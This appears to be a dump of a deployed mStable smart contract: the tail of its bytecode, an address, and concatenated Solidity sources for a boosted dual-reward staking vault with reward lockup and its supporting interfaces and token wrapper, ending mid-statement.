516001600160e01b03166001600160e01b0319909316929092179091526112ac565b50505050565b6000805460ff60a01b1916600160a01b179055565b6000610ff861137e565b600b549091501561102057600b54600554611020916001600160a01b0390911690839061140d565b60048054600054600554600b546040516311df92f160e01b81526001600160a01b03878116966311df92f196611075969095600160b01b90910467ffffffffffffffff1694600a949390911692909101611836565b602060405180830381600087803b15801561108f57600080fd5b505af11580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c791906116a0565b5050565b6000806110d661137e565b9050806001600160a01b031663bc58ccaa3060045486600a6040518563ffffffff1660e01b815260040161110d94939291906117d7565b60206040518083038186803b15801561112557600080fd5b505afa158015611139573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115d9190611680565b61116657600080fd5b600480546040516353b5923960e01b81526000926001600160a01b038516926353b592399261119a928991600a910161180e565b602060405180830381600087803b1580156111b457600080fd5b505af11580156111c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ec91906116a0565b949350505050565b60408051602081019091526000815260408051602081019091528061122184670de0b6b3a76400006112a0565b905292915050565b6000818310611238578161123a565b825b9392505050565b6040805160208101909152600081526040805160208101909152825184518291610f5f9190611531565b6040516001600160a01b03831660248201526044810182905261129b90849063a9059cbb60e01b90606401610f9c565b505050565b600061123a82846118ef565b6000611301826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661153d9092919063ffffffff16565b80519091501561129b578080602001905181019061131f9190611680565b61129b5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610579565b6008546040516302abf57960e61b81526f4f7074696d69737469634f7261636c6560801b60048201526000916001600160a01b03169063aafd5e409060240160206040518083038186803b1580156113d557600080fd5b505afa1580156113e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104029190611664565b8015806114965750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b15801561145c57600080fd5b505afa158015611470573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149491906116a0565b155b6115015760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610579565b6040516001600160a01b03831660248201526044810182905261129b90849063095ea7b360e01b90606401610f9c565b600061123a828461190e565b60606111ec848460008585843b6115965760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610579565b600080866001600160a01b031685876040516115b291906117bb565b60006040518083038185875af1925050503d80600081146115ef576040519150601f19603f3d011682016040523d82523d6000602084013e6115f4565b606091505b509150915061160482828661160f565b979650505050505050565b6060831561161e57508161123a565b82511561162e5782518084602001fd5b8160405162461bcd60e51b8152600401610579919061187c565b600060208284031215611659578081fd5b813561123a816119a2565b600060208284031215611675578081fd5b815161123a816119a2565b600060208284031215611691578081fd5b8151801515811461123a578182fd5b6000602082840312156116b1578081fd5b5051919050565b6000602082840312156116c9578081fd5b5035919050565b600080604083850312156116e2578081fd5b50508035926020909101359150565b60008151808452611709816020860160208601611925565b601f01601f19169290920160200192915050565b8054600090600181811c908083168061173757607f831692505b602080841082141561175757634e487b7160e01b86526022600452602486fd5b838852602088018280156117725760018114611783576117ae565b60ff198716825282820197506117ae565b60008981526020902060005b878110156117a85781548482015290860190840161178f565b83019850505b5050505050505092915050565b600082516117cd818460208701611925565b9190910192915050565b60018060a01b0385168152836020820152826040820152608060608201526000611804608083018461171d565b9695505050505050565b83815282602082015260606040820152600061182d606083018461171d565b95945050505050565b85815267ffffffffffffffff8516602082015260a06040820152600061185f60a083018661171d565b6001600160a01b0394909416606083015250608001529392505050565b60208152600061123a60208301846116f1565b60208101600383106118b157634e487b7160e01b600052602160045260246000fd5b91905290565b600082198211156118ca576118ca61198c565b500190565b6000826118ea57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119095761190961198c565b500290565b6000828210156119205761192061198c565b500390565b60005b83811015611940578181015183820152602001611928565b83811115610fd35750506000910152565b600181811c9082168061196557607f821691505b6020821081141561198657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146119b757600080fd5b5056fea26469706673582212202ac6bcd7a9a2ec256d01dac963f50dc022c10480061a8dab28694c57b37a721964736f6c63430008040033
[ 13, 7, 5 ]
0xF2A2D2cC0605eDD277415873a2046B84100151f3
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; // Internal import { IRewardsRecipientWithPlatformToken } from "../../interfaces/IRewardsDistributionRecipient.sol"; import { IBoostedDualVaultWithLockup } from "../../interfaces/IBoostedDualVaultWithLockup.sol"; import { IRewardsDistributionRecipient, InitializableRewardsDistributionRecipient } from "../InitializableRewardsDistributionRecipient.sol"; import { BoostedTokenWrapper } from "./BoostedTokenWrapper.sol"; import { PlatformTokenVendor } from "../staking/PlatformTokenVendor.sol"; import { Initializable } from "../../shared/@openzeppelin-2.5/Initializable.sol"; // Libs import { IERC20, SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol"; import { StableMath } from "../../shared/StableMath.sol"; /** * @title BoostedDualVault * @author mStable * @notice Accrues rewards second by second, based on a users boosted balance * @dev Forked from rewards/staking/StakingRewards.sol * Changes: * - Lockup implemented in `updateReward` hook (20% unlock immediately, 80% locked for 6 months) * - `updateBoost` hook called after every external action to reset a users boost * - Struct packing of common data * - Searching for and claiming of unlocked rewards * - Add a second rewards token in the platform rewards */ contract BoostedDualVault is IBoostedDualVaultWithLockup, IRewardsRecipientWithPlatformToken, Initializable, InitializableRewardsDistributionRecipient, BoostedTokenWrapper { using SafeERC20 for IERC20; using StableMath for uint256; using SafeCast for uint256; event RewardAdded(uint256 reward, uint256 platformReward); event Staked(address indexed user, uint256 amount, address payer); event Withdrawn(address indexed user, uint256 amount); event Poked(address indexed user); event RewardPaid(address indexed user, uint256 reward, uint256 platformReward); /// @notice token the rewards are distributed in. eg MTA IERC20 public immutable rewardsToken; /// @notice token the platform rewards are distributed in. eg WMATIC IERC20 public immutable platformToken; /// @notice contract that holds the platform tokens PlatformTokenVendor public platformTokenVendor; /// @notice total raw balance uint256 public totalRaw; /// @notice length of each staking period in seconds. 7 days = 604,800; 3 months = 7,862,400 uint64 public constant DURATION = 7 days; /// @notice Length of token lockup, after rewards are earned uint256 public constant LOCKUP = 26 weeks; /// @notice Percentage of earned tokens unlocked immediately uint64 public constant UNLOCK = 33e16; /// @notice Timestamp for current period finish uint256 public periodFinish; /// @notice Reward rate for the rest of the period uint256 public rewardRate; /// @notice Platform reward rate for the rest of the period uint256 public platformRewardRate; /// @notice Last time any user took action uint256 public lastUpdateTime; /// @notice Ever increasing rewardPerToken rate, based on % of total supply uint256 public rewardPerTokenStored; /// @notice Ever increasing platformRewardPerToken rate, based on % of total supply uint256 public platformRewardPerTokenStored; mapping(address => UserData) public userData; /// @notice Locked reward tracking mapping(address => Reward[]) public userRewards; mapping(address => uint64) public userClaim; struct UserData { uint128 rewardPerTokenPaid; uint128 rewards; uint128 platformRewardPerTokenPaid; uint128 platformRewards; uint64 lastAction; uint64 rewardCount; } struct Reward { uint64 start; uint64 finish; uint128 rate; } /** * @param _nexus mStable system Nexus address * @param _stakingToken token that is being rewarded for being staked. eg MTA, imUSD or fPmUSD/GUSD * @param _boostDirector vMTA boost director * @param _priceCoeff Rough price of a given LP token, to be used in boost calculations, where $1 = 1e18 * @param _boostCoeff Boost coefficent using the the boost formula * @param _rewardsToken first token that is being distributed as a reward. eg MTA * @param _platformToken second token that is being distributed as a reward. eg FXS for FRAX */ constructor( address _nexus, address _stakingToken, address _boostDirector, uint256 _priceCoeff, uint256 _boostCoeff, address _rewardsToken, address _platformToken ) InitializableRewardsDistributionRecipient(_nexus) BoostedTokenWrapper(_stakingToken, _boostDirector, _priceCoeff, _boostCoeff) { rewardsToken = IERC20(_rewardsToken); platformToken = IERC20(_platformToken); } /** * @dev Initialization function for upgradable proxy contract. * This function should be called via Proxy just after contract deployment. * To avoid variable shadowing appended `Arg` after arguments name. * @param _rewardsDistributorArg mStable Reward Distributor contract address * @param _nameArg token name. eg imUSD Vault or GUSD Feeder Pool Vault * @param _symbolArg token symbol. eg v-imUSD or v-fPmUSD/GUSD */ function initialize( address _rewardsDistributorArg, string calldata _nameArg, string calldata _symbolArg ) external initializer { InitializableRewardsDistributionRecipient._initialize(_rewardsDistributorArg); BoostedTokenWrapper._initialize(_nameArg, _symbolArg); platformTokenVendor = new PlatformTokenVendor(platformToken); } /** * @dev Updates the reward for a given address, before executing function. * Locks 80% of new rewards up for 6 months, vesting linearly from (time of last action + 6 months) to * (now + 6 months). This allows rewards to be distributed close to how they were accrued, as opposed * to locking up for a flat 6 months from the time of this fn call (allowing more passive accrual). */ modifier updateReward(address _account) { _updateReward(_account); _; } function _updateReward(address _account) internal { uint256 currentTime = block.timestamp; uint64 currentTime64 = SafeCast.toUint64(currentTime); // Setting of global vars ( uint256 newRewardPerToken, uint256 newPlatformRewardPerToken, uint256 lastApplicableTime ) = _rewardPerToken(); // If statement protects against loss in initialisation case if (newRewardPerToken > 0 || newPlatformRewardPerToken > 0) { rewardPerTokenStored = newRewardPerToken; platformRewardPerTokenStored = newPlatformRewardPerToken; lastUpdateTime = lastApplicableTime; // Setting of personal vars based on new globals if (_account != address(0)) { UserData memory data = userData[_account]; uint256 earned_ = _earned( _account, data.rewardPerTokenPaid, newRewardPerToken, false ); uint256 platformEarned_ = _earned( _account, data.platformRewardPerTokenPaid, newPlatformRewardPerToken, true ); // If earned == 0, then it must either be the initial stake, or an action in the // same block, since new rewards unlock after each block. if (earned_ > 0) { uint256 unlocked = earned_.mulTruncate(UNLOCK); uint256 locked = earned_ - unlocked; userRewards[_account].push( Reward({ start: SafeCast.toUint64(LOCKUP + data.lastAction), finish: SafeCast.toUint64(LOCKUP + currentTime), rate: SafeCast.toUint128(locked / (currentTime - data.lastAction)) }) ); userData[_account] = UserData({ rewardPerTokenPaid: SafeCast.toUint128(newRewardPerToken), rewards: SafeCast.toUint128(unlocked + data.rewards), platformRewardPerTokenPaid: SafeCast.toUint128(newPlatformRewardPerToken), platformRewards: data.platformRewards + SafeCast.toUint128(platformEarned_), lastAction: currentTime64, rewardCount: data.rewardCount + 1 }); } else { userData[_account] = UserData({ rewardPerTokenPaid: SafeCast.toUint128(newRewardPerToken), rewards: data.rewards, platformRewardPerTokenPaid: SafeCast.toUint128(newPlatformRewardPerToken), platformRewards: data.platformRewards + SafeCast.toUint128(platformEarned_), lastAction: currentTime64, rewardCount: data.rewardCount }); } } } else if (_account != address(0)) { // This should only be hit once, for first staker in initialisation case userData[_account].lastAction = currentTime64; } } /** @dev Updates the boost for a given address, after the rest of the function has executed */ modifier updateBoost(address _account) { _; _setBoost(_account); } /*************************************** ACTIONS - EXTERNAL ****************************************/ /** * @dev Stakes a given amount of the StakingToken for the sender * @param _amount Units of StakingToken */ function stake(uint256 _amount) external override updateReward(msg.sender) updateBoost(msg.sender) { _stake(msg.sender, _amount); } /** * @dev Stakes a given amount of the StakingToken for a given beneficiary * @param _beneficiary Staked tokens are credited to this address * @param _amount Units of StakingToken */ function stake(address _beneficiary, uint256 _amount) external override updateReward(_beneficiary) updateBoost(_beneficiary) { _stake(_beneficiary, _amount); } /** * @dev Withdraws stake from pool and claims any unlocked rewards. * Note, this function is costly - the args for _claimRewards * should be determined off chain and then passed to other fn */ function exit() external override updateReward(msg.sender) updateBoost(msg.sender) { _withdraw(rawBalanceOf(msg.sender)); (uint256 first, uint256 last) = _unclaimedEpochs(msg.sender); _claimRewards(first, last); } /** * @dev Withdraws stake from pool and claims any unlocked rewards. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function exit(uint256 _first, uint256 _last) external override updateReward(msg.sender) updateBoost(msg.sender) { _withdraw(rawBalanceOf(msg.sender)); _claimRewards(_first, _last); } /** * @dev Withdraws given stake amount from the pool * @param _amount Units of the staked token to withdraw */ function withdraw(uint256 _amount) external override updateReward(msg.sender) updateBoost(msg.sender) { _withdraw(_amount); } /** * @dev Claims only the tokens that have been immediately unlocked, not including * those that are in the lockers. */ function claimReward() external override updateReward(msg.sender) updateBoost(msg.sender) { uint256 unlocked = userData[msg.sender].rewards; userData[msg.sender].rewards = 0; if (unlocked > 0) { rewardsToken.safeTransfer(msg.sender, unlocked); } uint256 platformReward = _claimPlatformReward(); emit RewardPaid(msg.sender, unlocked, platformReward); } /** * @dev Claims all unlocked rewards for sender. * Note, this function is costly - the args for _claimRewards * should be determined off chain and then passed to other fn */ function claimRewards() external override updateReward(msg.sender) updateBoost(msg.sender) { (uint256 first, uint256 last) = _unclaimedEpochs(msg.sender); _claimRewards(first, last); } /** * @dev Claims all unlocked rewards for sender. Both immediately unlocked * rewards and also locked rewards past their time lock. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function claimRewards(uint256 _first, uint256 _last) external override updateReward(msg.sender) updateBoost(msg.sender) { _claimRewards(_first, _last); } /** * @dev Pokes a given account to reset the boost */ function pokeBoost(address _account) external override updateReward(_account) updateBoost(_account) { emit Poked(_account); } /*************************************** ACTIONS - INTERNAL ****************************************/ /** * @dev Claims all unlocked rewards for sender. Both immediately unlocked * rewards and also locked rewards past their time lock. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function _claimRewards(uint256 _first, uint256 _last) internal { (uint256 unclaimed, uint256 lastTimestamp) = _unclaimedRewards(msg.sender, _first, _last); userClaim[msg.sender] = uint64(lastTimestamp); uint256 unlocked = userData[msg.sender].rewards; userData[msg.sender].rewards = 0; uint256 total = unclaimed + unlocked; if (total > 0) { rewardsToken.safeTransfer(msg.sender, total); } uint256 platformReward = _claimPlatformReward(); emit RewardPaid(msg.sender, total, platformReward); } /** * @dev Claims any outstanding platform reward tokens */ function _claimPlatformReward() internal returns (uint256) { uint256 platformReward = userData[msg.sender].platformRewards; if (platformReward > 0) { userData[msg.sender].platformRewards = 0; platformToken.safeTransferFrom( address(platformTokenVendor), msg.sender, platformReward ); } return platformReward; } /** * @dev Internally stakes an amount by depositing from sender, * and crediting to the specified beneficiary * @param _beneficiary Staked tokens are credited to this address * @param _amount Units of StakingToken */ function _stake(address _beneficiary, uint256 _amount) internal { require(_amount > 0, "Cannot stake 0"); require(_beneficiary != address(0), "Invalid beneficiary address"); _stakeRaw(_beneficiary, _amount); totalRaw += _amount; emit Staked(_beneficiary, _amount, msg.sender); } /** * @dev Withdraws raw units from the sender * @param _amount Units of StakingToken */ function _withdraw(uint256 _amount) internal { require(_amount > 0, "Cannot withdraw 0"); _withdrawRaw(_amount); totalRaw -= _amount; emit Withdrawn(msg.sender, _amount); } /*************************************** GETTERS ****************************************/ /** * @dev Gets the RewardsToken */ function getRewardToken() external view override(IRewardsDistributionRecipient, IRewardsRecipientWithPlatformToken) returns (IERC20) { return rewardsToken; } /** * @dev Gets the PlatformToken */ function getPlatformToken() external view override returns (IERC20) { return platformToken; } /** * @dev Gets the last applicable timestamp for this reward period */ function lastTimeRewardApplicable() public view override returns (uint256) { return StableMath.min(block.timestamp, periodFinish); } /** * @dev Calculates the amount of unclaimed rewards per token since last update, * and sums with stored to give the new cumulative reward per token * @return 'Reward' per staked token */ function rewardPerToken() public view override returns (uint256, uint256) { (uint256 rewardPerToken_, uint256 platformRewardPerToken_, ) = _rewardPerToken(); return (rewardPerToken_, platformRewardPerToken_); } function _rewardPerToken() internal view returns ( uint256 rewardPerToken_, uint256 platformRewardPerToken_, uint256 lastTimeRewardApplicable_ ) { uint256 lastApplicableTime = lastTimeRewardApplicable(); // + 1 SLOAD uint256 timeDelta = lastApplicableTime - lastUpdateTime; // + 1 SLOAD // If this has been called twice in the same block, shortcircuit to reduce gas if (timeDelta == 0) { return (rewardPerTokenStored, platformRewardPerTokenStored, lastApplicableTime); } // new reward units to distribute = rewardRate * timeSinceLastUpdate uint256 rewardUnitsToDistribute = rewardRate * timeDelta; // + 1 SLOAD uint256 platformRewardUnitsToDistribute = platformRewardRate * timeDelta; // + 1 SLOAD // If there is no StakingToken liquidity, avoid div(0) // If there is nothing to distribute, short circuit if ( totalSupply() == 0 || (rewardUnitsToDistribute == 0 && platformRewardUnitsToDistribute == 0) ) { return (rewardPerTokenStored, platformRewardPerTokenStored, lastApplicableTime); } // new reward units per token = (rewardUnitsToDistribute * 1e18) / totalTokens uint256 unitsToDistributePerToken = rewardUnitsToDistribute.divPrecisely(totalSupply()); uint256 platformUnitsToDistributePerToken = platformRewardUnitsToDistribute.divPrecisely( totalRaw ); // return summed rate return ( rewardPerTokenStored + unitsToDistributePerToken, platformRewardPerTokenStored + platformUnitsToDistributePerToken, lastApplicableTime ); // + 1 SLOAD } /** * @dev Returned the units of IMMEDIATELY claimable rewards a user has to receive. Note - this * does NOT include the majority of rewards which will be locked up. * @param _account User address * @return Total reward amount earned * @return Platform reward claimable */ function earned(address _account) public view override returns (uint256, uint256) { (uint256 rewardPerToken_, uint256 platformRewardPerToken_) = rewardPerToken(); uint256 newEarned = _earned( _account, userData[_account].rewardPerTokenPaid, rewardPerToken_, false ); uint256 immediatelyUnlocked = newEarned.mulTruncate(UNLOCK); return ( immediatelyUnlocked + userData[_account].rewards, _earned( _account, userData[_account].platformRewardPerTokenPaid, platformRewardPerToken_, true ) ); } /** * @dev Calculates all unclaimed reward data, finding both immediately unlocked rewards * and those that have passed their time lock. * @param _account User address * @return amount Total units of unclaimed rewards * @return first Index of the first userReward that has unlocked * @return last Index of the last userReward that has unlocked */ function unclaimedRewards(address _account) external view override returns ( uint256 amount, uint256 first, uint256 last, uint256 platformAmount ) { (first, last) = _unclaimedEpochs(_account); (uint256 unlocked, ) = _unclaimedRewards(_account, first, last); (uint256 earned_, uint256 platformEarned_) = earned(_account); amount = unlocked + earned_; platformAmount = platformEarned_; } /** @dev Returns only the most recently earned rewards */ function _earned( address _account, uint256 _userRewardPerTokenPaid, uint256 _currentRewardPerToken, bool _useRawBalance ) internal view returns (uint256) { // current rate per token - rate user previously received uint256 userRewardDelta = _currentRewardPerToken - _userRewardPerTokenPaid; // Short circuit if there is nothing new to distribute if (userRewardDelta == 0) { return 0; } // new reward = staked tokens * difference in rate uint256 bal = _useRawBalance ? rawBalanceOf(_account) : balanceOf(_account); return bal.mulTruncate(userRewardDelta); } /** * @dev Gets the first and last indexes of array elements containing unclaimed rewards */ function _unclaimedEpochs(address _account) internal view returns (uint256 first, uint256 last) { uint64 lastClaim = userClaim[_account]; uint256 firstUnclaimed = _findFirstUnclaimed(lastClaim, _account); uint256 lastUnclaimed = _findLastUnclaimed(_account); return (firstUnclaimed, lastUnclaimed); } /** * @dev Sums the cumulative rewards from a valid range */ function _unclaimedRewards( address _account, uint256 _first, uint256 _last ) internal view returns (uint256 amount, uint256 latestTimestamp) { uint256 currentTime = block.timestamp; uint64 lastClaim = userClaim[_account]; // Check for no rewards unlocked uint256 totalLen = userRewards[_account].length; if (_first == 0 && _last == 0) { if (totalLen == 0 || currentTime <= userRewards[_account][0].start) { return (0, currentTime); } } // If there are previous unlocks, check for claims that would leave them untouchable if (_first > 0) { require( lastClaim >= userRewards[_account][_first - 1].finish, "Invalid _first arg: Must claim earlier entries" ); } uint256 count = _last - _first + 1; for (uint256 i = 0; i < count; i++) { uint256 id = _first + i; Reward memory rwd = userRewards[_account][id]; require(currentTime >= rwd.start && lastClaim <= rwd.finish, "Invalid epoch"); uint256 endTime = StableMath.min(rwd.finish, currentTime); uint256 startTime = StableMath.max(rwd.start, lastClaim); uint256 unclaimed = (endTime - startTime) * rwd.rate; amount += unclaimed; } // Calculate last relevant timestamp here to allow users to avoid issue of OOG errors // by claiming rewards in batches. latestTimestamp = StableMath.min(currentTime, userRewards[_account][_last].finish); } /** * @dev Uses binarysearch to find the unclaimed lockups for a given account */ function _findFirstUnclaimed(uint64 _lastClaim, address _account) internal view returns (uint256 first) { uint256 len = userRewards[_account].length; if (len == 0) return 0; // Binary search uint256 min = 0; uint256 max = len - 1; // Will be always enough for 128-bit numbers for (uint256 i = 0; i < 128; i++) { if (min >= max) break; uint256 mid = (min + max + 1) / 2; if (_lastClaim > userRewards[_account][mid].start) { min = mid; } else { max = mid - 1; } } return min; } /** * @dev Uses binarysearch to find the unclaimed lockups for a given account */ function _findLastUnclaimed(address _account) internal view returns (uint256 first) { uint256 len = userRewards[_account].length; if (len == 0) return 0; // Binary search uint256 min = 0; uint256 max = len - 1; // Will be always enough for 128-bit numbers for (uint256 i = 0; i < 128; i++) { if (min >= max) break; uint256 mid = (min + max + 1) / 2; if (block.timestamp > userRewards[_account][mid].start) { min = mid; } else { max = mid - 1; } } return min; } /*************************************** ADMIN ****************************************/ /** * @dev Notifies the contract that new rewards have been added. * Calculates an updated rewardRate based on the rewards in period. * @param _reward Units of RewardToken that have been added to the pool */ function notifyRewardAmount(uint256 _reward) external override(IRewardsDistributionRecipient, IRewardsRecipientWithPlatformToken) onlyRewardsDistributor updateReward(address(0)) { require(_reward < 1e24, "Cannot notify with more than a million units"); uint256 newPlatformRewards = platformToken.balanceOf(address(this)); if (newPlatformRewards > 0) { platformToken.safeTransfer(address(platformTokenVendor), newPlatformRewards); } uint256 currentTime = block.timestamp; // If previous period over, reset rewardRate if (currentTime >= periodFinish) { rewardRate = _reward / DURATION; platformRewardRate = newPlatformRewards / DURATION; } // If additional reward to existing period, calc sum else { uint256 remaining = periodFinish - currentTime; uint256 leftoverReward = remaining * rewardRate; rewardRate = (_reward + leftoverReward) / DURATION; uint256 leftoverPlatformReward = remaining * platformRewardRate; platformRewardRate = (newPlatformRewards + leftoverPlatformReward) / DURATION; } lastUpdateTime = currentTime; periodFinish = currentTime + DURATION; emit RewardAdded(_reward, newPlatformRewards); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IRewardsDistributionRecipient { function notifyRewardAmount(uint256 reward) external; function getRewardToken() external view returns (IERC20); } interface IRewardsRecipientWithPlatformToken { function notifyRewardAmount(uint256 reward) external; function getRewardToken() external view returns (IERC20); function getPlatformToken() external view returns (IERC20); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IBoostedDualVaultWithLockup { /** * @dev Stakes a given amount of the StakingToken for the sender * @param _amount Units of StakingToken */ function stake(uint256 _amount) external; /** * @dev Stakes a given amount of the StakingToken for a given beneficiary * @param _beneficiary Staked tokens are credited to this address * @param _amount Units of StakingToken */ function stake(address _beneficiary, uint256 _amount) external; /** * @dev Withdraws stake from pool and claims any unlocked rewards. * Note, this function is costly - the args for _claimRewards * should be determined off chain and then passed to other fn */ function exit() external; /** * @dev Withdraws stake from pool and claims any unlocked rewards. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function exit(uint256 _first, uint256 _last) external; /** * @dev Withdraws given stake amount from the pool * @param _amount Units of the staked token to withdraw */ function withdraw(uint256 _amount) external; /** * @dev Claims only the tokens that have been immediately unlocked, not including * those that are in the lockers. */ function claimReward() external; /** * @dev Claims all unlocked rewards for sender. * Note, this function is costly - the args for _claimRewards * should be determined off chain and then passed to other fn */ function claimRewards() external; /** * @dev Claims all unlocked rewards for sender. Both immediately unlocked * rewards and also locked rewards past their time lock. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function claimRewards(uint256 _first, uint256 _last) external; /** * @dev Pokes a given account to reset the boost */ function pokeBoost(address _account) external; /** * @dev Gets the last applicable timestamp for this reward period */ function lastTimeRewardApplicable() external view returns (uint256); /** * @dev Calculates the amount of unclaimed rewards per token since last update, * and sums with stored to give the new cumulative reward per token * @return 'Reward' per staked token */ function rewardPerToken() external view returns (uint256, uint256); /** * @dev Returned the units of IMMEDIATELY claimable rewards a user has to receive. Note - this * does NOT include the majority of rewards which will be locked up. * @param _account User address * @return Total reward amount earned */ function earned(address _account) external view returns (uint256, uint256); /** * @dev Calculates all unclaimed reward data, finding both immediately unlocked rewards * and those that have passed their time lock. * @param _account User address * @return amount Total units of unclaimed rewards * @return first Index of the first userReward that has unlocked * @return last Index of the last userReward that has unlocked */ function unclaimedRewards(address _account) external view returns ( uint256 amount, uint256 first, uint256 last, uint256 platformAmount ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { ImmutableModule } from "../shared/ImmutableModule.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IRewardsDistributionRecipient } from "../interfaces/IRewardsDistributionRecipient.sol"; /** * @title RewardsDistributionRecipient * @author Originally: Synthetix (forked from /Synthetixio/synthetix/contracts/RewardsDistributionRecipient.sol) * Changes by: mStable * @notice RewardsDistributionRecipient gets notified of additional rewards by the rewardsDistributor * @dev Changes: Addition of Module and abstract `getRewardToken` func + cosmetic */ abstract contract InitializableRewardsDistributionRecipient is IRewardsDistributionRecipient, ImmutableModule { // This address has the ability to distribute the rewards address public rewardsDistributor; constructor(address _nexus) ImmutableModule(_nexus) {} /** @dev Recipient is a module, governed by mStable governance */ function _initialize(address _rewardsDistributor) internal virtual { rewardsDistributor = _rewardsDistributor; } /** * @dev Only the rewards distributor can notify about rewards */ modifier onlyRewardsDistributor() { require(msg.sender == rewardsDistributor, "Caller is not reward distributor"); _; } /** * @dev Change the rewardsDistributor - only called by mStable governor * @param _rewardsDistributor Address of the new distributor */ function setRewardsDistribution(address _rewardsDistributor) external onlyGovernor { rewardsDistributor = _rewardsDistributor; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; // Internal import { IBoostDirector } from "../../interfaces/IBoostDirector.sol"; // Libs import { SafeERC20, IERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { InitializableReentrancyGuard } from "../../shared/InitializableReentrancyGuard.sol"; import { StableMath } from "../../shared/StableMath.sol"; import { Root } from "../../shared/Root.sol"; /** * @title BoostedTokenWrapper * @author mStable * @notice Wrapper to facilitate tracking of staked balances, applying a boost * @dev Forked from rewards/staking/StakingTokenWrapper.sol * Changes: * - Adding `_boostedBalances` and `_totalBoostedSupply` * - Implemting of a `_setBoost` hook to calculate/apply a users boost */ contract BoostedTokenWrapper is InitializableReentrancyGuard { using StableMath for uint256; using SafeERC20 for IERC20; event Transfer(address indexed from, address indexed to, uint256 value); string private _name; string private _symbol; IERC20 public immutable stakingToken; IBoostDirector public immutable boostDirector; uint256 private _totalBoostedSupply; mapping(address => uint256) private _boostedBalances; mapping(address => uint256) private _rawBalances; // Vars for use in the boost calculations uint256 private constant MIN_DEPOSIT = 1e18; uint256 private constant MAX_VMTA = 600000e18; uint256 private constant MAX_BOOST = 3e18; uint256 private constant MIN_BOOST = 1e18; uint256 private constant FLOOR = 98e16; uint256 public immutable boostCoeff; // scaled by 10 uint256 public immutable priceCoeff; /** * @dev TokenWrapper constructor * @param _stakingToken Wrapped token to be staked * @param _boostDirector vMTA boost director * @param _priceCoeff Rough price of a given LP token, to be used in boost calculations, where $1 = 1e18 * @param _boostCoeff Boost coefficent using the the boost formula */ constructor( address _stakingToken, address _boostDirector, uint256 _priceCoeff, uint256 _boostCoeff ) { stakingToken = IERC20(_stakingToken); boostDirector = IBoostDirector(_boostDirector); priceCoeff = _priceCoeff; boostCoeff = _boostCoeff; } /** * @param _nameArg token name. eg imUSD Vault or GUSD Feeder Pool Vault * @param _symbolArg token symbol. eg v-imUSD or v-fPmUSD/GUSD */ function _initialize(string memory _nameArg, string memory _symbolArg) internal { _initializeReentrancyGuard(); _name = _nameArg; _symbol = _symbolArg; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } /** * @dev Get the total boosted amount * @return uint256 total supply */ function totalSupply() public view returns (uint256) { return _totalBoostedSupply; } /** * @dev Get the boosted balance of a given account * @param _account User for which to retrieve balance */ function balanceOf(address _account) public view returns (uint256) { return _boostedBalances[_account]; } /** * @dev Get the RAW balance of a given account * @param _account User for which to retrieve balance */ function rawBalanceOf(address _account) public view returns (uint256) { return _rawBalances[_account]; } /** * @dev Read the boost for the given address * @param _account User for which to return the boost * @return boost where 1x == 1e18 */ function getBoost(address _account) public view returns (uint256) { return balanceOf(_account).divPrecisely(rawBalanceOf(_account)); } /** * @dev Deposits a given amount of StakingToken from sender * @param _amount Units of StakingToken */ function _stakeRaw(address _beneficiary, uint256 _amount) internal nonReentrant { _rawBalances[_beneficiary] += _amount; stakingToken.safeTransferFrom(msg.sender, address(this), _amount); } /** * @dev Withdraws a given stake from sender * @param _amount Units of StakingToken */ function _withdrawRaw(uint256 _amount) internal nonReentrant { _rawBalances[msg.sender] -= _amount; stakingToken.safeTransfer(msg.sender, _amount); } /** * @dev Updates the boost for the given address according to the formula * boost = min(0.5 + c * vMTA_balance / imUSD_locked^(7/8), 1.5) * If rawBalance <= MIN_DEPOSIT, boost is 0 * @param _account User for which to update the boost */ function _setBoost(address _account) internal { uint256 rawBalance = _rawBalances[_account]; uint256 boostedBalance = _boostedBalances[_account]; uint256 boost = MIN_BOOST; // Check whether balance is sufficient // is_boosted is used to minimize gas usage uint256 scaledBalance = (rawBalance * priceCoeff) / 1e18; if (scaledBalance >= MIN_DEPOSIT) { uint256 votingWeight = boostDirector.getBalance(_account); boost = _computeBoost(scaledBalance, votingWeight); } uint256 newBoostedBalance = rawBalance.mulTruncate(boost); if 